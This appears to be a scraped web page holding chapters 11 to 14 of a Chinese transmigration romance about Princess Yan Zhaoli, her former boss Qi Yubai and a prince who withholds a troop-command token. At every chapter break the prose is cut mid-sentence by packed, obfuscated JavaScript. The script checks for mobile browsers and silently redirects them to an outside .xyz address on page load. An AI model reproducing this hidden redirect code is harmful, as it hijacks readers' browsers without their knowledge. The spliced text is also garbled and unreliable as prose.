RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567742|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞭子落到言昭离手中结束。 少女眼里直冒火:“你知道我是谁吗?” “哦,”言昭离的语气变得玩味起来,玩着手里的鞭子,“你是谁?” 少女以为言昭离怂了,双手叉腰,神情倨傲:“告诉你,我可是太守之女,章松卉,在这里,谁见了我不低头。” “所以,现在求饶,我可留你个全尸。” 言昭离勾起唇角,嘲讽味十足:“太守之女,就这个德行,想必这个太守也不是个好的吧。” “放肆,”章松卉瞪大了双眼,“你怎么能诋毁我的母亲。” 她给了旁边镇守在城墙口的将领的一个眼神:“对母亲不敬,直接杀了吧。” 一群身穿盔甲的士兵挥舞着剑向前,言昭离手底下自然也不是吃素的,她们站在言昭离的身后,双方对峙。 气氛僵持着,又有一群人骑着马匆匆赶来,为首的正是江南太守,到地后,见到如此情形,差点瘫软在地。 章松卉则是面上一喜,委委屈屈告状:“母亲,你一定是来为我主持公道的,就是这个可恶的女人,将我踹倒在地,又抢走我的鞭子,她还诋毁你,一定要……” 话还未说完,迎面就挨了一巴掌,章松卉被打的脑子一懵,这是怎么回事。 母亲为何会偏向一个外人。 “母亲?!” 章太守深吸了一口气,上前请罪:“臣代小女道歉,请大皇女饶罪。” 大皇女?章松卉短路的脑子总算连上了频道,她想起刚才的大放厥词,腿一软,就倒在了地上。 借她一百个胆子,她也不敢要皇女的性命。 言昭离冷笑道:“饶罪,我可不敢,毕竟她刚才想要的可是我的命。” 章松卉连连摇头:“奴不敢,奴不敢。” “是奴愚笨,未能认出大皇女,又对大皇女不敬,求大皇女责罚。”章松卉跪在地上,不停磕头,她甚至自称为奴。 平日里肆意惯了,现在低三下四的,围观群众出了口气,一个个探着头看情况。 她们离人群远了些,谈话内容并没有被听到,只能从情形判断出,能让太守都低头的人,身份必然不简单。 “你肆意妄为,又出言不逊,本皇女就罚你跟那些因为你造成损失的百姓道歉,并赔偿她们的损失,翠鸣,你来看着。” 翠鸣:“是。” 章松卉面色难看,让她去跟那些贱民道歉,这不是在折辱她吗?但又不敢不从,只能低声道,“是。” 太守:“大皇女罚的好,小女如此不考虑百姓的安危,确实该罚。” 她拱了拱手:“请大皇女移驾太守府,府上已设宴席。” 等言昭离一行人离去,离的远百姓爆发出一声又一声喝彩,离的近的百姓就只能小声的和同伴交流着,章松卉还站在那里,不敢发出太大的声音,就怕怒火转移到她们身上。 “这到底是那个好心的贵人,惩恶扬善,真是个大好人。” “就是就是,那个祖宗总算倒了大霉,可真让我心里狠狠的出口恶气。” 章松卉跋扈的名声在城中不低,上次大街纵马,伤了一个稚儿的腿,让那稚儿落了残疾,父母想状告,却被压了下去,此后再也没了消息。 “打听过了,好像是大皇女。” “大皇女,是那个京城中有名的恶女吗?不是都说她嚣张跋扈,和章松卉的名声不相上下,可依照今天的情形,这哪是恶女,分明是女菩萨啊。” “是啊,大皇女刚才就像神女下凡一样,是个真真好的人。” 11. 第 11 章 自从言昭离进入江南城后,已经过去了三日。 这几日,言昭离在城中吃喝玩乐,不像是来干正事的,倒像是来玩乐的。 翠鸣看在眼中,心里越发着急,终于在一次午后忍不住开口:“大皇女不向章太守要调兵令吗?” 她问的突然,完全不似之前谨慎的样子,忘记了言昭离‘恶毒’的名声。 这自然有言昭离潜移默化的效果,一个人的性子如果突然发生了巨大的变化,那自然惹人怀疑,可要是逐渐改变呢?人们可能会认为是成长,或是经历了某些事导致的。 言昭离终究不是原主,自然不可能照着原主演那么久的戏,演太久了,很容易遗忘自己。 她做那么多事,如今也算见了成效。 言昭离抚弄着茶杯,眼里似有笑意一闪而过:“怎么要,调兵令不在她身上,她自然给不了我。” “不在章太守身上,”翠鸣的声音里充满了疑惑:“言国律法,如要调地方兵,需要太守的调兵令,可调兵令如果不在章太守身上,那在谁身上?” “自然在更有权者的手上。” 几日前的宴席上,章太守与言昭离聊天聊地,就是不聊调兵令的事情。 章太守为人处世圆滑,自然不可能不知道言昭离到来是为了什么,按照她的性子,只会在第一时间交出调兵令。 可偏偏避而不谈,自然有鬼。 言昭离旁敲侧击,明白了真正拥有调兵令的其实另有其人。 “能比太守还有权的?”翠鸣惊呼一声,捂住嘴巴,“是,是广安王。” 江南一带的最高级的官是太守,可要比太守的权好高的,除了被‘流放’的广安王,别无他人。 广安王,是言武帝同母异父的妹妹,生父家世普通,但十分受宠,因此他也是先帝最宠爱的皇女。 她性子荒唐,做事全凭心意,言昭离当街抢民男的行为跟她比起来,那都是小巫见大巫。 她所到的地方,几乎都是鸡犬不宁,言武帝一见到她就头疼,于是派她去巡视江南,说是巡视,相当于流放。 不闻不问,不管不顾。 江南地富饶,养出的美男也多,广安王来到江南,就像老鼠见到了大米,乐不思蜀。 “可广安王为什么要扣着调兵令?” 调两千兵锐,是言武帝下的令,如果广安王一直扣着调兵令,则是在耽误剿匪,言武帝知道,那可是要问罪的。 “不知道。”言昭离就算再来回推算,也想不明白广安王扣住调兵令的原因是什么。 总不可能先天性的排斥她。 翠鸣有些担忧:“那如果广安王一直不把调兵令交出来怎么办,去找陛下吗?” 言昭离摇头:“不找母皇也能解决。” 一个小员工被委派了一件事,如果遭遇了点刁难,小挫折,就上报给公司,公司不会替你出面,相反,还会认为你无用,连这点小事都没能解决。 毕竟老板只看结果,不看过程。 如果言武帝看做老板的话,也是这个道理,言昭离把这件事报上去后,依照言武帝对言昭离的宠爱,自然会重罚广安王,可内心也会对言昭离失望。 宠爱是不能和失望挂钩的。 广安王虽然行事作风让人捉摸不透,可凭借一些小事也是能看出,她是识大体的。 不会把调兵令握在手里太久,在广安王出面的时候,就是言昭离拿到调兵令的时候。 而广安王,会在三日后来到江南。 翠鸣见言昭离的模样,心也放了下去,这两个月发生的几件事,也让翠鸣明白,言昭离是个有把握的。 跟着这样的主子,她们这些做下人的,自然也放心许多。 她脑子里想明白这些,索性就不想了,转而提起别的事情。 “大皇女可还记得船上那个扒客?” 言昭离嘬了一口茶,苦涩的茶味在嘴里蔓延:“记得,他如今怎么样?” “醒了,只是,”翠鸣说,“他吵着闹着要见大皇女。” “说不见到大皇女,他就不会喝药。” “那么快就醒来了。” 当时医师看过那男人后,摇头叹气,直说没有见过那么惨的人。 身上布满了可怖的伤口,脸上的疤痕从眼角蔓延到嘴角,左脸像是被人划开了一口子。 衣衫褴褛,右腿被人强硬折断,双脚红肿,有的地方都直冒血,是走了很远的路所致。 脖子上的伤口,比起他的全身,都显得微不足道了。 伤的那么重,本以为起码要昏迷个三月,这下不到一个月,就已经醒来了。 可见他的求生欲是很强的。 言昭离把茶放在桌子上:“那就见见吧。” 男人很快被人领了进来,他强撑着全身的伤痛,一进来,就给言昭离行了个大礼。 手在半空中划拉,是个哑巴。 翠鸣及时的递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567743|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上纸笔,这是无意间发现的,男人识字,会写字。 男人在纸上挥洒着墨水,写的飞快,像是怕言昭离等的着急:“奴感谢大皇女的救命之恩。” 他写的是簪花小楷,字体像是含羞待放的花骨朵,秀气。 “是我侍卫不小心伤的你,本就是我们有错在先,你安心待在这养好伤再走。” “奴想报答大皇女。”写完,他抬起头,言昭离这才发现,他有一双很好看的眼睛。 他的脸上缠满了胶带,只露出了眼睛,鼻子,和嘴巴。 看见他时,最先注意到的,是他的眼睛,像是琉璃色的宝石,闪闪发光,让人看见就想收藏起来。 跟这样的眼睛对视,完全无法拒绝。 “本皇女身边不需要再多一人伺候。” 男人落笔,也顾不上什么字体的美感:“奴想留下来,无论是做些什么都行。” “喂马,倒夜香,我都可以做。” 他在地上磕了三个响头:“奴只求大皇女让我留下。” 见言昭离没回答,他又细数起他的优势:“奴会读唇语,模仿他人字迹……” 他罗列了一大堆,甚至连照顾花花草草都写了出来。 言昭离被模仿他人字迹吸引了注意,在古代世界,这可是个很厉害的的技能。 再加上言昭离模糊的记忆力里,记得原剧情中有一个助力女主上位的能人。 会的一个技能就是模仿他人字迹,且脸上有疤。 言昭离望着男人被蒙起来的脸,左脸上的疤,除非用到现代的除疤技术,否则不可能完全消除。 这样一来,就跟原剧情对上了。 “那就留下来吧,翠鸣,给他登记好信息,之后等他伤好后再安排事情做。” “是。” 男人在一旁咧着嘴笑,随后又猛的倒抽了一口凉气,嘴角的弧度上扬的太大,牵扯到左脸的伤疤。 言昭离想到了什么,问道:“你叫什么?” “奴没有名字,还请大皇女赐名。” “既然没有名字,那就叫无名吧。” 无名”就这样留了下来,他登记的信息也被送到了言昭离的手中。 她念了出来:“无名,年十八,家住江南临边小渔村,父母兄妹皆命丧于大火之中,后嫁给不堪托付之人,脾气暴躁,易怒,每日拳打脚踢,因不堪受辱,逃了出来……” “这就是他的全部经历,有点惨。” 12. 第 12 章 “我也派人去打探他所说的是否属实,小渔村确实发生了一场大火,将一切都埋葬了,至于他所讲的后面,还有待查验。” “所以这人,半分可信。” 祁逾白沉声道:“这样一个人,是如何走到女主身边的?” 言昭离双手托腮:“不知道,但现在既然救了他,就先这样安排吧,以后再给他跟女主创造一个契机,剧情还是要走上正轨的。” “嗯,甚好。”祁逾白颔首。 言昭离看着祁逾白,眼里的笑意快要掩藏不住:“老板,你这化妆的技术越来越好了。” 她伸出大拇指:“给你点个赞。” 女尊世界,男为悦他人者为荣,男子钻研妆容,穿搭,祁逾白来到这,自然是要随波逐流。 如今他的脸上画着时兴的款式,一双美眸,轻飘飘的看了言昭离一眼:“很好看?” “好看,太好看了,只是这眉毛画的有些奇怪,我给你改改。” 她站起身,从梳妆台上拿出螺子黛,想了想,又拿了黛砚和毛笔。 两人坐在窗前,借着日光,言昭离拿起螺子黛,细致的为祁逾白画眉。 祁逾白的眉形很好看,只是现在时兴的款式是类似于柳叶眉那种,细长的,他作为一个骨相级的帅哥,浓眉显然更适合他。 两人的距离近在咫尺,脸上的毛绒,面中温热的气息,让祁逾白越发不自然,他狼狈的移开视线,心里想,言秘书最近的胆子变得越发大了。 不对,好像一直都是如此大胆,自从酒会后见到他胃病如此严重,开始一日三餐,监督着他不许落下,要是知道他因为忙于工作没有吃早餐,她会亲自买好,然后眼巴巴的望着他,每次都是不忍她失落,吃下早餐。 现在想来,有了言秘书的监督,他的胃病也好了很多,好像许久没有发作过了。 “别动。”突然,他的下巴被人挑起,他生的高,言昭离要给他画花钿,一直高抬起手,手有些酸,且在低位掌握不好力道。 祁逾白移走的视线措不及防的转了回来,望进了言昭离的眼中,言昭离认为无名的眼睛很好看,可祁逾白这时候却突然从脑子里冒出一个念头。 言昭离才是这个世间眼睛最好看的人。 她的眼睛,是典型的小鹿眼,似是盛满了漫天星辰,熠熠生辉,眼中的生机和清澈,是其他人所没有的。 看了良久,祁逾白垂下眼眸,被这样一双眼睛专注的看着,没有人不会被吸引,他也是。 翠鸣等人端着茶和小食进来,看到两人在做什么,手里的盘子都快端不住了,大皇女亲自给祁小郎上花钿,这……未免太宠了吧。 妻为父上妆,是夫妻之间才能做的事,祁小郎只是个妾室,竟能如此得宠。 传出去岂不是惊世骇俗。 但不得不说,大皇女和祁小郎甚是般配,两人容貌相当,望向彼此的目光情意绵长,就连日光都是如此偏爱,衣袖叠放在一起,腰间的带子相互缠绕,一白一红,就像两人生来便是如此,天生一对。 她们不忍打扰如此梦幻的场景,轻轻将东西摆放好后,就安静的退下。 “好了。”似是过了很久,窗台上投射的日光都移动了位置,可又似是没过去太久,祁逾白只感觉几个呼吸间,言昭离就放开了他,下巴处的触感,被言昭离专注的看着,这些感觉都在。 言昭离描眉的速度快,祁逾白的眉毛浓密,只需要简简单单的描绘回几下便好,真正要耗上时间的,是给祁逾白画上花钿。 索性这些都是值得的,言昭离满意的看着,眼中满是对自己技术的欣赏。 祁逾白样貌生的好,这张脸,无论画成什么样,都会变得更吸晴。 言昭离在祁逾白的额头处画了个桃花,虽然桃花与老板冷酷无情的形象不搭,但与脸上的妆容挺搭的,尤其是现在还面如桃花。 面如桃花?言昭离迟疑的看了祁逾白一眼,刚才老板脸上的胭脂有那么红吗? * 无论是什么时候,无论在什么地方,人们热爱八卦的心都是不变的,关于言昭离宠爱祁逾白的消息又再次在江南流传开来。 “听说了吗?大皇女十分宠爱身边的祁小郎,亲自为那祁小郎描眉,画花钿。” “我也听说了,还有一次,祁小郎走路累着了,大皇女纡尊降贵,弯下腰背那祁小郎。” 这自然是假的,女尊世界,女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567744|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力气大,背着男子,是十分轻松的,可祁逾白毕竟是从现代穿过来的,自然不会让言昭离一个女子背他,要背应该是他背,但很可惜的是,就算他想背言昭离,也背不动。 “大皇女心地善良,又如此深情,啊啊啊,我好嫉妒那祁小郎,竟能遇到大皇女这般好的人。” “我要是能得到大皇女的心,也算此生无憾了。” “那祁小郎究竟下了什么蛊,让大皇女如此待他,我不信,总有一天大皇女会厌弃他。” “皇家怎么可能有如此深情之人。” “我看你是吃不到葡萄说葡萄酸,我不容许有任何人质疑大皇女的深情。” 这些流言,让言昭离的名声在江南又上了一个层楼,原本就因为在城墙的事情,人们对她颇有好感,又听说她如此深情,更加对她赞赏有加,毕竟,世人总是推崇深情者。 三日后,广安王从南下巡视归来。 归来的那日,街上住的家家户户都把窗门关的死死的,甚至连散养的公狗都栓在了家中。 广安王名声就跟夜来香一样,臭味远扬,刺激的人生理不适。 她好美色,身边的男宠少说也有几十人,大街上只要容貌还算周正的,都会被她调戏,无论是有妻主的还是没妻主的,无论是老的还是少的,甚至有的当街都会被抢走。 她荒淫无度,做那事时,还请了专门的画师来绘画,为的就是留住那香艳的画面,以待回味。 “本王就说,没有任何人能抵抗的了本王的魅力,看,这么多人来迎接本王。” 她张开双手,在马背上哈哈大笑起来。 一时间,只有天空中乌鸦嘲笑的声音,甚至路过时还拉下了点鸟屎。 随同的宣将军扶额,简直没眼看,广安王今日,好像又疯了点。 “对了,本王听说本王的侄女来了,她来干嘛?” 宣将军说:“大皇女了奉了陛下的令,取两千精锐剿匪。” 广安王乜了她一眼:“章太守给了调兵令吗?” “没有王爷的允许,她不敢。” “那就好,”广安王拉紧缰绳,让马转了一个方向,“去太守府,让本王去会会这个侄女。” 13. 第 13 章 一路上,广安王一路疾驰,不到半个时辰,就已经到了太守府。 章太守早已得到了广安王回来的消息,她推测广安王一定会来找大皇女,所以提前站在门口候着。 “臣拜见广安王。” “大皇女在何处?本王要见她。” 广安王下了马,小厮从她手中接过缰绳,把马牵走。 她抬脚就要进去,被章太守拦住:“王爷,今夜府上会设宴恭祝您的归来,到时候再见也不迟。” 广安王眯了眯眸子,凌厉的气势像座大山,她是上过战场厮杀的,浑身的气势是常人所不能比的:“你敢拦我?” 章太守立马半躬着身子:“臣不敢,臣只是诚心建议。” “诚心建议?”广安王意味不明的嘲讽了一句。 “本王是看你胆子大了?” 章太守腰弯的更低了,但却一言不发。 广安王嗅了嗅袖子,身上似乎有了些味道,她决定先去沐浴。 走前,叮嘱章太守:“那就按你说的办,不过,本王不喜你刚才的行为,罚你站这一个时辰。” “记住,本王在宴席上一定要见到大皇女。” “是。” 一场小小的风波就这样在门口被化解。 而言昭离的这边,收到晚上有宴席的消息。 等到报信人走后,翠鸣说道:“广安王还真是肆意妄为。” 言昭离停下手中的事:“发生了何事?” “广安王回来后,第一时间便要来见您,气势汹汹,来者不善,太守在门口劝说了广安王,虽说广安王答应了,可也当众弗了太守的面子,罚她在烈日下站了一个时辰。” 言昭离的面上带了诧异,祁逾白听到这话,停止了插花,两人对视一眼,都有同样的疑惑,章太守一向处世圆滑,怎么会突然惹怒了广安王。 难道广安王的性子就是如此任性,谁让她不高兴,她便让谁不高兴。 看来今晚的宴席必会不太平,需得做两手准备。 * 宴席上,言昭离携祁逾白出席,时间不算晚,可在他们之前,在场没来的,除了他们,就只剩下广安王。 章太守举办的此次宴席,庆祝广安王的归来,附近的官员基本上都出席了,人多的甚是热闹。 “广安王到。” 广安王一身大红袍,昂首阔步的走了进来,坐在了高位上。 言昭离起身:“参见皇姑父,请皇姑父安。” 广安王狭长的眸子眯了起来:“你就是本王的侄女。” “是。” 广安王突然轻哼了一声:“也不怎么样么,竟能与我齐名。” 言昭离一脸莫名,她这算是知道广安王为什么扣押调兵令了,还真是先天性的排斥她。 只因为她恶毒的名声与广安王一样广为流转,广安王就看她不爽。 好神经的一个人。 宣将军出来缓和僵硬的气氛:“王爷说笑呢,说笑呢。” 她面上擦着冷汗,心里不断祈祷广安王少说些,就她这个嘴,一开口,都能把人毒死,要是将调戏他人的嘴用到平常说话的时候,那可真是谢天谢地。 “本王不会给你调兵令。” 这话一出,气氛又瞬间凝固,低下的官员都快把头伏在案桌上了,筷子都不敢动一个,好家伙,一上来就直奔主题。 不应该先觥筹交错一番,然后再推来推去,最后再指明主题吗? “母皇亲自下旨,皇姑父是打算违抗母皇的命令吗?” 广安王手里的酒杯都快被捏碎了:“你拿陛下压我?” “还真是本王的好侄女。”她一字一句说道。 她这个妹妹称呼言武帝为陛下,可见关系确实不好。 “不敢,只是阐述事实罢了。” 气氛彻底僵持,这下连宣将军都缓和不了。 这时,一个骨节分明的手轻扯言昭离的衣角,作为手控的广安王,瞬间被吸引住了目光。 等待看清楚了,她呆愣在原地,哪怕是见过那么多美人,广安王都不得不承认,眼前的男子,在她见过的众多美人中也是翘楚。 他面容俊美,额头上画着一朵桃花,面颊泛红,眉眼间带着一股娇媚,一身月牙色衣袍,倒是跟今晚的月色极为相称,更显清冷。 广安王的心里有些痒痒,她素来喜欢美人,收集不同类型的美人让她身心愉悦,祁逾白清冷中又带着一丝娇媚,简直就是往她心坎里长。 她轻咳一声,刚才还板着一张脸,顿时展露笑颜:“本王刚才只是开了个玩笑。” 她走到言昭离面前:“皇侄女,本王敬你。” 言昭离见她转变如此快,心里直疑惑,直到仰头喝酒时,发现广安王的目光一直落在祁逾白身上。 她登时冒出一个念头,完了,老板被看上了。 “皇侄女身边的是哪家的公子,我怎么从未见过?” 言昭离皮笑肉不笑:“这是本皇女身边的祁小郎。” 她说到‘祁小郎’时语气格外重,就是想让对方知难而退。 “原是祁小郎啊。”广安王笑道,拿起手中另一个酒杯,递到祁逾白面前。 要他喝酒的意思很明确。 此情此景,让言昭离想起了初入职场时,被乙方在酒桌上灌酒的场景,哪怕胃里难受,依然得拿起酒杯,笑着喝下。 直到一位女性领导者来到包间,用开玩笑的话语阻拦了她被灌下一杯酒的可能。 “女性,只有当权,才有可能阻止这些的发生。”事后,那位领导对她说。 这句话言昭离记到现在,也成为了不断向上爬的动力。 后来在祁逾白的身边当了秘书,再也没有这种情况的出现,她身处高位,又代表的是祁逾白的面子,旁人不敢对她不敬。 高位者给低位者敬酒,低位者必不可能不接,祁逾白伸出手,正准备接过,一双手先于他一步,径直将酒杯中的酒洒在地上。 “他不喝。” 广安王拧眉,显然是没想到言昭离那么护着祁逾白,在她看来,不过是一个小郎,能比调兵令还重要吗? 她有心试探:“大皇女想要调兵令,也很容易,”她手指向祁逾白,“把他送给我。” 言昭离想也没想就拒绝:“祁小郎性子娇纵,恐会得罪皇姑父。” “这般舍不得,那皇侄女的差事恐怕注定办不成了。”广安王的语气中满是威胁。 言昭离耸了耸肩,颇有些无奈道:‘既然皇姑父如此执意,那侄女只好采取特殊手段了。” 什么特殊手段? 她正疑惑着,突然瞥见眼前剑光闪过,再一回神,脖子上已经被抵上了一把匕首。 广安王的侍卫拔出剑,一时前进也不是,后退也不是。 行刺他们主子的是大皇女,要是伤了大皇女,他们也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567745|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不到好。 广安王的语气中满是诧异:“皇侄女这是做什么?” “让皇姑父自己做个抉择,是要自己的命还是交出调兵令。” 言昭离的眼中满是煞气,手心握的匕首又往前送了几分,广安王的脖颈出划出来一道划痕,让她明白言昭离并不是说说的。 她是真想杀了她。 “皇侄女杀了本王,陛下那边也不好交代。” “等皇姑父逝世,我自会请罪。” 宣将军等一众人皆是一脸惶恐,真是神仙打架,凡人遭殃。 章太守甚至从位置上跳了出来:“大皇女冷静,调兵令没拿到手,何至于此啊。” “有魄力!” 在这危急的关头,广安王突然哈哈大笑起来。 “本王欣赏你这股劲,祁小郎我也不要了,调兵令也给你。” 她摊开手:“这下,能放了本王吧。” 言昭离保持着原来的姿势未动:“先把东西拿过来。” 她怕广安王使诈,毕竟广安王在她心中的信誉为零。 “宣将军,把东西交给她。” 宣将军从袖口里拿出一块圆形的铜鎏金符,上面的图案雕的是一只威风凛凛的老虎,仅次于兵符的东西。 调兵令被祁逾白拿到手后,言昭离就放了广安王。 “多谢皇姑父。” 她言笑晏晏,完全看不出刚才凶神恶煞的样子。 “侄女就不在这碍皇姑父的眼了,就此告退。” 言昭离带着祁逾白离开。 ‘嘶,’广安王用手碰了碰脖子上的伤口,很清晰的疼痛,指尖上还带着温热的血液。 宴席就这样有惊无险的渡过。 入夜,宣将军给广安王上药。 “嘶,好疼,轻点。”她白了宣将军一眼,“你会不会上药。” “王爷又何必如此呢?” “你懂什么,这可是皇姐第一次找我办事,只是没想到,本王的这侄女,下手可真狠,半分情面都不留。” 她梗着脖子,吩咐宣将军:“你去,把纸和笔拿过来,我要给皇姐写信。” 宣将军才走出去两步,广安王又叫道:“等等,拿过来后,你来写,本王手脚不方便。” 宣将军:……你伤的只是脖子,又不是手。 等拿过来后,宣将军提笔书写。 “皇姐,我是小五,近来可好?” 广安王是先皇的五皇女。 她正经不过三秒:“不知道你好不好,反正我不好,呜呜呜。”她停顿一下,“你记得把这三个‘呜呜呜’写进去,一定要让皇姐知道我的不易。” “你要考验言昭离,我都照办了,吊着她,不给她调兵令,让她知难而退,可她竟有如此魄力,想要取我性命,皇妹我,差点小命不保了,这差事怎么那么难,你一定要记得多赏赐我些金银珠宝。” “最好赏些美人,我听说近日吐鲁番国要上贡,说不定有美人,皇姐,你可一定要念着皇妹我啊。” “这样,皇妹我,受再多的苦也值得了。” “我看侄女有如此魄力,此次剿匪,定能大获全胜,皇姐心中也能多些宽慰。” “不过,侄女貌似太过于宠爱身边的祁小郎,这可不好,成大事者,不能局于情情爱爱。” 她又絮絮叨叨的说了许多,最后落款。 “你最最最可爱的妹妹敬上。” 14. 第 14 章 回去的路上,言昭离有些醉了,她摇摇晃晃的,一脚一脚的踩在铺满石子的路上。 祁逾白跟在她身后,时刻看着她,就怕她一不小心就栽了,可不能把在这个世界上唯一护着他的人栽没了。 祁逾白父母是商业联姻,生下他后没多久就离婚了,各自打拼事业,他是在祁老爷子的跟前长大的,从小到大,都是跟着严格的既定计划行走,一分一毫都不能出了差错。 正因为如此,他格外喜欢极限挑战,那种生死置之事外,只追求极致的感受。 言昭离替他挡酒,他感受到了被光明正大保护的滋味,在这份新奇的体验下,心脏替他敏锐的捕捉到了猛烈跳动的那一秒。 或许说,在无数次心动下,他喜欢上了言昭离。 穿到女尊世界,就像卫星偏离了一次轨道,总有一天都会回到正轨,可偏偏,喜欢上言昭离,就像卫星撞上地球,意料之外的意外,他再也无法回到轨道上。 “祁逾白,我今天保护了你一次哎。”言昭离突然转过身,伸出一个手指,“不对,是保护了二三四五……。” 每说出一个数字,她都伸出一个手指头,数到最后,脑袋晕乎乎的。 她把手收起来:“不数了,反正有好多次了。” “嗯,是有好多次了。” “那你怎么报答我。”言昭离期待的看着他,像是一个等待糖奖励的小孩。 “救命之恩……” 言昭离接道:“以身相许?”她说完,连忙摇头,“不行,不行,这个不行,这样吧,我给你出个主意。” 她神神秘秘的凑近,“你给我涨十倍工资,我保证不告诉别人。” “就只想要这个?”祁逾白问。 “只想要这个。”言昭离煞有其事的点头,“没有钱是一件很可怕的事情。” 祁逾白答应的很快:“好。 “只要你想要的,我都会给你。” 他声音说的很低,几乎是贴着言昭离的耳边说的,远远看过去,像是情人的呢喃,可惜一个醉鬼是不会感受到这些暧昧的氛围。 言昭离的注意力被别的事吸引,她伸出手,在祁逾白的额头上抓了几下:“你额头上有一朵桃花,我给你摘下来。” 她的力道很轻,像是小猫的轻挠一样,没有感觉到任何疼痛,反而痒痒的。 祁逾白解释道:“不是真花,是假的。” 言昭离明显不信,喝醉的她格外固执:“就是真的。” “不是,你自己感受一下。” 他握住言昭离的手腕,将她的掌心贴在他的额头上:“你看,是真的还是假的?” “是假的。”她的语气中充满了惊奇,“这是怎么做到的?” “画的。” “是谁那么厉害?!” 祁逾白忍俊不禁:“是你自己。”没见过这么夸自己的。 言昭离的脸上露出点小骄傲:“那我可真厉害。” “是,你是我见过最厉害的人。”他的语气中满是真诚,一双桃花眼就这么深情的注视着,把言昭离看的有些不好意思。 她生硬的移开视线,放在背后的手都有些不自然,但又抱着不服输的态度,偷偷瞥他,发现他在偷笑。 “你还笑?” “没有。” 言昭离踮起脚尖,扒拉着他:“你骗我,我看见你笑了。”嘴角上扬的弧度都还没消下去。 “好好好,那我就是笑了。” “不行,我不允许你笑。” …… 两人幼稚的对话惹得后面的翠鸣等人都忍不住发笑。 * 十一月寒风刺骨,湖面上结成了一层薄薄的冰,‘砰’的一声,有人在冰上凿除一个洞,顿时,以这个洞为中心,湖上的冰像蜘蛛网一样裂开。 “江小春,你还在这偷懒,不赶紧回去训练。” 江小春长着一张圆圆的脸,瞧着有些可爱,她嘴角一撇:“回去干什么,天天训练,又杀不了江段那个狗贼。” 叫她的人是王麦:“我知道你恨江段那个狗贼,可要杀她,并非一日之事。” “朝廷已经新派了一个人为我们的主帅,是大皇女,说不定她可以杀了江段。” 江小春往湖中又投了颗石子:“我已经不抱任何希望了。” 江段生事已经有三年了,期间朝廷派了一个又一个的人来,哪一次成功过。 她站起身来,拍了拍屁股后面的灰:“靠人不如靠己,总有一天,我会亲手取了江段那条狗命,为我爹娘报仇。” 江小春来自江南的一个小村庄,在一次被抢劫中,爹娘命丧于江段之手。 王麦向她投以信任的目光:“我相信你终有一天会得偿所愿。” “这个时间,不是在训练吗?你怎么跑出来了?” 江小春问,她不相信朝廷,也不相信军中的训练方式,经常寻着机会出来,按照自己的方式训练。 而王麦是一个老老实实的人,她家里穷,来到这,只是混口饭吃,每日的训练都不曾落下。 王麦猛的一拍脑子:“对了,光顾着跟你说话了,忘跟你说了,大皇女在来的路上。” 江小春一听,顿时撒腿跑向军营,她偷偷跑出来训练是一回事,要是因此被罚了,那就是另一个事了。 王麦剩下的话止住:“大皇女刚才……”到了,已经知道你跑出来的事了。 我来这,就是叫你的。 * 江小春跑的快速,一刻都不敢停歇,等到军营时,发现众人都站成方阵,上千人站在一块,要是少一个也发现不了。 江小春心生侥幸,偷偷摸摸的站到最后一排,她视力好,可以看清站在最上方的人。 少女明眸皓齿,乌发如漆,挽在脑后,露出饱满的额头,碎发被风吹杨,一身玄色劲装,彰显出纤细的腰身。 不得不承认,这是江小春见过最好看的女人。 可,就算再好看,也只是一个绣花枕头。 江小春低头,捏了捏自己健硕的手臂肌肉,嘴角露出嘲讽的笑意,在场的哪一个不比那女子强壮,这样一个人,又如何带领她们杀了江段。 “江小春。”面前有阴影覆盖,有人叫她。 江小春还未看清面前的人,身体已经下意识绷直,喊道:“到。” 等靠的近了,才发现女子脸上的皮肤像是一块宝玉,完美无瑕。 她心里也更加鄙夷,这细胳膊细腿的,她都能一拳打倒。 言昭离:“你出去干什么了?” “报告,没干什么。” “没干什么,那就是偷懒了。”言昭离下了结论,一直跟在她身后的唐校尉想开口说话,可又止住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 